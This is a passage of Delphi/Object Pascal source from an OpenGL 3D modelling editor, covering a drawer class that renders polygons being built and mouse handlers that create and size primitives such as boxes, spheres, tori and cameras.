procedure TGLDSystem.OnXYZFrameValueChange(Sender: TObject);
begin
if not Assigned(FXYZFrame) then Exit;
case FStatus of
GLD_SYSTEM_STATUS_VERTICES_MOVING,
GLD_SYSTEM_STATUS_POLYGONS_MOVING,
GLD_SYSTEM_STATUS_OBJECT_MOVING:
FEditedPosition.Vector3f := FXYZFrame.Vector3f;
GLD_SYSTEM_STATUS_VERTICES_ROTATING,
GLD_SYSTEM_STATUS_POLYGONS_ROTATING:
begin
FEditedRotation.Params := FXYZFrame.Rotation3D;
FXYZFrame.Rotation3D := GLD_ROTATION3D_ZERO;
end;
GLD_SYSTEM_STATUS_OBJECT_ROTATING:
FEditedRotation.Params := FXYZFrame.Rotation3D;
end;
DoChange(Self);
end;
procedure TGLDSystem.SystemNotification(Operation: TGLDSystemOperation; Data: Pointer);
begin
if Assigned(FOnSystemNotification) then
FOnSystemNotification(Self, Operation, Data);
end;
constructor TGLDDrawer.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FTriFace := GLD_STD_TRIFACE;
FQuadFace := GLD_STD_QUADFACE;
FPolygon := GLD_STD_POLYGON;
FEditedObject := nil;
FEditedModify := nil;
FIOFrame := nil;
end;
destructor TGLDDrawer.Destroy;
begin
if FPolygon.Count > 0 then
ReallocMem(FPolygon.Data, 0);
inherited Destroy;
end;
procedure TGLDDrawer.Assign(Source: TPersistent);
begin
inherited Assign(Source);
end;
procedure TGLDDrawer.RenderDrawedPolygon;
var
St: TGLDSystemStatus;
i, Idx: GLuint;
V: TGLDVector3f;
begin
if not Assigned(FEditedObject) then Exit;
if not (FEditedObject is TGLDCustomMesh) then Exit;
St := GetStatus;
if not (St in GLD_SYSTEM_POLYGON_CREATING_STATES) then Exit;
glPushAttrib(GL_LIGHTING_BIT or GL_POINT_BIT or
GL_LINE_BIT or GL_DEPTH_BUFFER_BIT);
glDisable(GL_LIGHTING);
glDisable(GL_DEPTH_TEST);
glDepthMask(False);
glPointSize(6);
glLineWidth(1);
if FEditedObject is TGLDTriMesh then
begin
glColor3ub($00, $FF, $FF);
glBegin(GL_POINTS);
for i := 1 to 3 do
begin
Idx := FTriFace.Points[i];
if Idx > 0 then
begin
V := TGLDTriMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDTriMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDTriMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
glColor3ubv(@GLD_COLOR3UB_RED);
glBegin(GL_LINE_STRIP);
for i := 1 to 3 do
begin
Idx := FTriFace.Points[i];
if Idx > 0 then
begin
V := TGLDTriMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDTriMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDTriMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
end else
if FEditedObject is TGLDQuadMesh then
begin
glColor3ub($00, $FF, $FF);
glBegin(GL_POINTS);
for i := 1 to 4 do
begin
Idx := FQuadFace.Points[i];
if Idx > 0 then
begin
V := TGLDQuadMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDQuadMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDQuadMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
glColor3ubv(@GLD_COLOR3UB_RED);
glBegin(GL_LINE_STRIP);
for i := 1 to 4 do
begin
Idx := FQuadFace.Points[i];
if Idx > 0 then
begin
V := TGLDQuadMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDQuadMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDQuadMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
end else
if FEditedObject is TGLDPolyMesh then
begin
glColor3ub($00, $FF, $FF);
glBegin(GL_POINTS);
if FPolygon.Count > 0 then
for i := 1 to FPolygon.Count do
begin
Idx := FPolygon.Data^[i];
if Idx > 0 then
begin
V := TGLDPolyMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDPolyMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDPolyMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
glColor3ubv(@GLD_COLOR3UB_RED);
glBegin(GL_LINE_STRIP);
if FPolygon.Count > 1 then
for i := 1 to FPolygon.Count do
begin
Idx := FPolygon.Data^[i];
if Idx > 0 then
begin
V := TGLDPolyMesh(FEditedObject).Vertices[Idx];
V := GLDXVectorTransform(V, GLDXMatrixRotationXZY(TGLDPolyMesh(FEditedObject).Rotation.Params));
V := GLDXVectorAdd(V, TGLDPolyMesh(FEditedObject).Position.Vector3f);
glVertex3fv(@V);
end;
end;
glEnd;
end;
glPopAttrib;
end;
procedure TGLDDrawer.RenderForSubSelection;
begin
if Assigned(FEditedObject) and (FEditedObject is TGLDCustomMesh) then
case GetSelectionType of
GLD_ST_VERTICES: TGLDCustomMesh(FEditedObject).RenderVerticesForSelection(0);
GLD_ST_POLYGONS: TGLDCustomMesh(FEditedObject).RenderFacesForSelection(0);
end;
end;
procedure TGLDDrawer.SubSelect(Index: GLuint);
begin
if Assigned(FEditedObject) and (FEditedObject is TGLDCustomMesh) then
if TGLDCustomMesh(FEditedObject).SelectionType = Self.GetSelectionType then
begin
TGLDCustomMesh(FEditedObject).Select(Index);
Change;
end;
end;
procedure TGLDDrawer.AddSubSelection(Index: GLuint);
begin
if Assigned(FEditedObject) and (FEditedObject is TGLDCustomMesh) then
if TGLDCustomMesh(FEditedObject).SelectionType = Self.GetSelectionType then
begin
TGLDCustomMesh(FEditedObject).AddSelection(Index);
Change;
end;
end;
procedure TGLDDrawer.StartCreatingVertices;
begin
if Assigned(Owner) and (Owner is TGLDSystem) and
Assigned(FEditedObject) and (FEditedObject is TGLDCustomMesh) then
begin
TGLDCustomMesh(FEditedObject).SelectionType := GLD_ST_VERTICES;
TGLDSystem(Owner).FSelectionType := GLD_ST_VERTICES;
TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_CREATING_VERTICES);
Change;
end;
end;
procedure TGLDDrawer.StartCreatingPolygons;
begin
if Assigned(Owner) and (Owner is TGLDSystem) and
Assigned(FEditedObject) and (FEditedObject is TGLDCustomMesh) then
begin
TGLDCustomMesh(FEditedObject).SelectionType := GLD_ST_VERTICES;
TGLDSystem(Owner).FSelectionType := GLD_ST_VERTICES;
TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_CREATING_POLYGONS1);
Change;
end;
end;
procedure TGLDDrawer.StartDrawing(AType: TGLDVisualObjectClass);
begin
if (not Assigned(AType)) or
(not Assigned(Owner)) then Exit;
if not (Owner is TGLDSystem) then Exit;
case AType.SysClassType of
GLD_SYSCLASS_PLANE: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_PLANE_DRAWING1);
GLD_SYSCLASS_DISK: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_DISK_DRAWING1);
GLD_SYSCLASS_RING: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_RING_DRAWING1);
GLD_SYSCLASS_BOX: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_BOX_DRAWING1);
GLD_SYSCLASS_PYRAMID: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_PYRAMID_DRAWING1);
GLD_SYSCLASS_CYLINDER: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_CYLINDER_DRAWING1);
GLD_SYSCLASS_CONE: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_CONE_DRAWING1);
GLD_SYSCLASS_TORUS: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_TORUS_DRAWING1);
GLD_SYSCLASS_SPHERE: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_SPHERE_DRAWING1);
GLD_SYSCLASS_TUBE: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_TUBE_DRAWING1);
GLD_SYSCLASS_USERCAMERA: TGLDSystem(Owner).SetStatus(GLD_SYSTEM_STATUS_USERCAMERA_DRAWING1);
end;
end;
var
R: GLfloat;
procedure TGLDDrawer.MouseDown(Button: TMouseButton; Shift: TShiftState; const Position: TGLDPoint2D);
var
Idx: GLuint;
V: TGLDVector3f;
begin
if not Assigned(Owner) then Exit;
if not (Owner is TGLDSystem) then Exit;
with TGLDSystem(Owner) do
begin
FAllowRender := False;
case FStatus of
GLD_SYSTEM_STATUS_CREATING_VERTICES:
begin
if Assigned(FEditedObject) and
(FEditedObject is TGLDCustomMesh) then
begin
with TGLDCustomMesh(FEditedObject) do
begin
V := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V := GLDXVectorTransform(V, GLDXMatrixTranslation(GLDXVectorNeg(Position.Vector3f)));
V := GLDXVectorTransform(V, GLDXMatrixRotationYZX(GLDXRotation3DNeg(Rotation.Params)));
AddVertex(V, True, True);
end;
end;
end;
GLD_SYSTEM_STATUS_CREATING_POLYGONS1:
begin
if Assigned(FEditedObject) and
(FEditedObject is TGLDCustomMesh) then
begin
RenderForSelection;
Idx := GLDXColor(GetPixel(FMousePositionOnDown));
if Idx <> 0 then
begin
if FEditedObject is TGLDTriMesh then
begin
FTriFace := GLD_STD_TRIFACE;
FTriFace.Smoothing := GLD_SMOOTH_ALL;
FTriFace.Point1 := Idx;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS2;
end else
if FEditedObject is TGLDQuadMesh then
begin
FQuadFace := GLD_STD_QUADFACE;
FQuadFace.Smoothing := GLD_SMOOTH_ALL;
FQuadFace.Point1 := Idx;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS2;
end else
if FEditedObject is TGLDPolyMesh then
begin
FPolygon.Count := 1;
ReallocMem(FPolygon.Data, SizeOf(GLushort));
FPolygon.Data^[1] := Idx;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS2;
end;
end;
end;
end;
GLD_SYSTEM_STATUS_CREATING_POLYGONS2:
begin
if Assigned(FEditedObject) and
(FEditedObject is TGLDCustomMesh) then
begin
RenderForSelection;
Idx := GLDXColor(GetPixel(FMousePositionOnDown));
if Idx <> 0 then
begin
if FEditedObject is TGLDTriMesh then
begin
with FTriFace do
begin
if Point2 = 0 then Point2 := Idx else
if Point3 = 0 then
begin
Point3 := Idx;
TGLDTriMesh(FEditedObject).AddFace(FTriFace);
FTriFace := GLD_STD_TRIFACE;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS1;
TGLDTriMesh(FEditedObject).CalcNormals;
end;
end;
end else
if FEditedObject is TGLDQuadMesh then
begin
with FQuadFace do
begin
if Point2 = 0 then Point2 := Idx else
if Point3 = 0 then Point3 := Idx else
if Point4 = 0 then
begin
Point4 := Idx;
TGLDQuadMesh(FEditedObject).AddFace(FQuadFace);
FQuadFace := GLD_STD_QUADFACE;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS1;
TGLDQuadMesh(FEditedObject).CalcNormals;
end;
end;
end else
if FEditedObject is TGLDPolyMesh then
begin
if Idx = FPolygon.Data^[1] then
begin
TGLDPolyMesh(FEditedObject).AddFace(FPolygon);
FPolygon := GLD_STD_POLYGON;
FStatus := GLD_SYSTEM_STATUS_CREATING_POLYGONS1;
TGLDPolyMesh(FEditedObject).CalcNormals;
end else
begin
Inc(FPolygon.Count);
ReallocMem(FPolygon.Data, FPolygon.Count * SizeOf(GLushort));
FPolygon.Data^[FPolygon.Count] := Idx;
end;
end;
end;
end;
end;
GLD_SYSTEM_STATUS_Plane_DRAWING1:
begin
if FMouseButtons[mbLeft] and
Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDPlane) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDPlane(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDPlaneParamsFrame) then
begin
with TGLDPlaneParamsFrame(FIOFrame) do
begin
LengthSegs := UD_LengthSegs.Position;
WidthSegs := UD_WidthSegs.Position;
end;
TGLDPlaneParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, LengthSegs, WidthSegs);
end;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
Length := 0; Width := 0;
end;
FStatus := GLD_SYSTEM_STATUS_PLANE_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_DISK_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDDisk) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDDisk(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDDiskParamsFrame) then
begin
with TGLDDiskParamsFrame(FIOFrame) do
begin
Segments := UD_Segments.Position;
Sides := UD_Sides.Position;
end;
TGLDDiskParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, Segments, Sides, StartAngle, SweepAngle);
end;
Radius := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_DISK_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_RING_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDRing) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDRing(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDRingParamsFrame) then
begin
with TGLDRingParamsFrame(FIOFrame) do
begin
Segments := UD_Segments.Position;
Sides := UD_Sides.Position;
end;
TGLDRingParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, Segments, Sides, StartAngle, SweepAngle);
end;
InnerRadius := 0; OuterRadius := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_RING_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_RING_DRAWING3:
FStatus := GLD_SYSTEM_STATUS_RING_DRAWING1;
GLD_SYSTEM_STATUS_BOX_DRAWING1:
begin
if FMouseButtons[mbLeft] and
Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDBox) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDBox(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDBoxParamsFrame) then
begin
with TGLDBoxParamsFrame(FIOFrame) do
begin
LengthSegs := UD_LengthSegs.Position;
WidthSegs := UD_WidthSegs.Position;
HeightSegs := UD_HeightSegs.Position;
end;
TGLDBoxParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, 0, LengthSegs, WidthSegs, HeightSegs);
end;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
Length := 0; Width := 0; Height := 0;
end;
FStatus := GLD_SYSTEM_STATUS_BOX_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_BOX_DRAWING3:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_BOX_DRAWING1;
GLD_SYSTEM_STATUS_PYRAMID_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDPyramid) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDPyramid(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDPyramidParamsFrame) then
begin
with TGLDPyramidParamsFrame(FIOFrame) do
begin
WidthSegs := UD_WidthSegs.Position;
DepthSegs := UD_DepthSegs.Position;
HeightSegs := UD_HeightSegs.Position;
end;
TGLDPyramidParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, 0, WidthSegs, DepthSegs, HeightSegs);
end;
Width := 0; Depth := 0; Height := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_PYRAMID_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_PYRAMID_DRAWING3:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_PYRAMID_DRAWING1;
GLD_SYSTEM_STATUS_CYLINDER_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDCylinder) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDCylinder(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDCylinderParamsFrame) then
begin
with TGLDCylinderParamsFrame(FIOFrame) do
begin
HeightSegs := UD_HeightSegs.Position;
CapSegs := UD_CapSegs.Position;
Sides := UD_Sides.Position;
end;
TGLDCylinderParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
Radius := 0; Height := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_CYLINDER_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_CYLINDER_DRAWING3:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_CYLINDER_DRAWING1;
GLD_SYSTEM_STATUS_CONE_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDCone) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDCone(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDConeParamsFrame) then
begin
with TGLDConeParamsFrame(FIOFrame) do
begin
HeightSegs := UD_HeightSegs.Position;
CapSegs := UD_CapSegs.Position;
Sides := UD_Sides.Position;
end;
TGLDConeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, 0, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
BaseRadius := 0; TopRadius := 0; Height := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_CONE_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_CONE_DRAWING4:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_CONE_DRAWING1;
GLD_SYSTEM_STATUS_CONE_DRAWING3:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_CONE_DRAWING4;
GLD_SYSTEM_STATUS_SPHERE_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDSphere) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDSphere(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDSphereParamsFrame) then
begin
with TGLDSphereParamsFrame(FIOFrame) do
begin
Segments := UD_Segments.Position;
Sides := UD_Sides.Position;
end;
TGLDSphereParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, Segments, Sides, StartAngle1, SweepAngle1, StartAngle2, SweepAngle2);
end;
Radius := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_SPHERE_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_TORUS_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDTorus) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDTorus(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDTorusParamsFrame) then
begin
with TGLDTorusParamsFrame(FIOFrame) do
begin
Segments := UD_Segments.Position;
Sides := UD_Sides.Position;
end;
TGLDTorusParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0.001, Segments, Sides, StartAngle1, SweepAngle1, StartAngle2, SweepAngle2);
end;
Radius1 := 0; Radius2 := 0.001;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_TORUS_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_TUBE_DRAWING1:
begin
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Objects do
begin
if CreateNew(TGLDTube) <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDTube(FEditedObject) do
begin
Selected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDTubeParamsFrame) then
begin
with TGLDTubeParamsFrame(FIOFrame) do
begin
HeightSegs := UD_HeightSegs.Position;
CapSegs := UD_Capsegs.Position;
Sides := UD_Sides.Position;
end;
TGLDTubeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
0, 0, 0, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
InnerRadius := 0; OuterRadius := 0; Height := 0;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
end;
FStatus := GLD_SYSTEM_STATUS_TUBE_DRAWING2;
end;
end;
end;
GLD_SYSTEM_STATUS_TORUS_DRAWING3:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_TORUS_DRAWING1;
GLD_SYSTEM_STATUS_TUBE_DRAWING4:
if FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_TUBE_DRAWING1;
GLD_SYSTEM_STATUS_TUBE_DRAWING3:
FStatus := GLD_SYSTEM_STATUS_TUBE_DRAWING4;
GLD_SYSTEM_STATUS_USERCAMERA_DRAWING1:
if FMouseButtons[mbLeft] and Assigned(FRepository) then
with FRepository.Cameras do
begin
if CreateNew <> 0 then
begin
FEditedObject := Last;
FRepository.DeleteSelections;
with TGLDUserCamera(FEditedObject) do
begin
Selected := True;
TargetSelected := True;
if Assigned(FIOFrame) and (FIOFrame is TGLDUserCameraFrame) then
begin
TGLDUserCameraFrame(FIOFrame).SetParams(Name, Color.Color3ub,
ProjectionMode, Fov, Aspect, Zoom, ZNear, ZFar);
end;
Position.Vector3f := FHomeGrid.MouseIntersection(FMousePositionOnDown);
Target.Vector3f := Position.Vector3f;
end;
end;
FStatus := GLD_SYSTEM_STATUS_USERCAMERA_DRAWING2;
end;
end;
FAllowRender := True;
DoChange(Self);
end;
end;
procedure TGLDDrawer.MouseMove(const Position: TGLDPoint2D);
var
V1, V2: TGLDVector3f;
A, B: GLfloat;
begin
if not Assigned(Owner) then Exit;
if not (Owner is TGLDSystem) then Exit;
with TGLDSystem(Owner) do
begin
FAllowRender := False;
case FStatus of
GLD_SYSTEM_STATUS_PLANE_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDPlane) then
begin
with TGLDPlane(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
Width := Abs(V1.X - V2.X);
Length := Abs(V1.Z - V2.Z);
if Assigned(FIOFrame) and (FIOFrame is TGLDPlaneParamsFrame) then
TGLDPlaneParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Length, Width, LengthSegs, WidthSegs);
end;
end;
GLD_SYSTEM_STATUS_DISK_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDDisk) then
begin
with TGLDDisk(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then Radius := A else Radius := B;
if Assigned(FIOFrame) and (FIOFrame is TGLDDiskParamsFrame) then
TGLDDiskParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Radius, Segments, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_RING_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDRing) then
begin
with TGLDRing(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then OuterRadius := A else OuterRadius := B;
InnerRadius := OuterRadius - 0.01;
R := OuterRadius;
if Assigned(FIOFrame) and (FIOFrame is TGLDRingParamsFrame) then
TGLDRingParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
InnerRadius, OuterRadius, Segments, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_RING_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDRing) then
begin
with TGLDRing(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePosition);
A := GLDXLineLength(Position.Vector3f, V1);
if A > R then
begin
OuterRadius := A;
InnerRadius := R;
end else
begin
OuterRadius := R;
InnerRadius := A;
end;
if Assigned(FIOFrame) and (FIOFrame is TGLDRingParamsFrame) then
TGLDRingParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
InnerRadius, OuterRadius, Segments, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_BOX_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDBox) then
begin
with TGLDBox(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
Width := Abs(V1.X - V2.X);
Length := Abs(V1.Z - V2.Z);
if Assigned(FIOFrame) and (FIOFrame is TGLDBoxParamsFrame) then
TGLDBoxParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Length, Width, Height, LengthSegs, WidthSegs, HeightSegs);
end;
end;
GLD_SYSTEM_STATUS_BOX_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDBox) then
begin
FAllowRender := False;
with TGLDBox(FEditedObject) do
begin
Height := (FMousePositionOnUp.Y - FMousePosition.Y) * 0.01;
Position.Y := Height / 2;
Height := Abs(Height);
if Assigned(FIOFrame) and (FIOFrame is TGLDBoxParamsFrame) then
TGLDBoxParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Length, Width, Height, LengthSegs, WidthSegs, HeightSegs);
end;
end;
GLD_SYSTEM_STATUS_PYRAMID_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDPyramid) then
begin
with TGLDPyramid(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
Width := Abs(V1.X - V2.X);
Depth := Abs(V1.Z - V2.Z);
if Assigned(FIOFrame) and (FIOFrame is TGLDPyramidParamsFrame) then
TGLDPyramidParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Width, Depth, Height, WidthSegs, DepthSegs, HeightSegs);
end;
end;
GLD_SYSTEM_STATUS_PYRAMID_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDPyramid) then
begin
with TGLDPyramid(FEditedObject) do
begin
Height := (FMousePositionOnUp.Y - FMousePosition.Y) * 0.01;
Position.Y := Height / 2;
Height := Abs(Height);
if Assigned(FIOFrame) and (FIOFrame is TGLDPyramidParamsFrame) then
TGLDPyramidParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Width, Depth, Height, WidthSegs, DepthSegs, HeightSegs);
end;
end;
GLD_SYSTEM_STATUS_CYLINDER_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDCylinder) then
begin
with TGLDCylinder(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then Radius := A else Radius := B;
if Assigned(FIOFrame) and (FIOFrame is TGLDCylinderParamsFrame) then
TGLDCylinderParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Radius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_CYLINDER_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDCylinder) then
begin
with TGLDCylinder(FEditedObject) do
begin
Height := (FMousePositionOnUp.Y - FMousePosition.Y) * 0.01;
Position.Y := Height / 2;
Height := Abs(Height);
if Assigned(FIOFrame) and (FIOFrame is TGLDCylinderParamsFrame) then
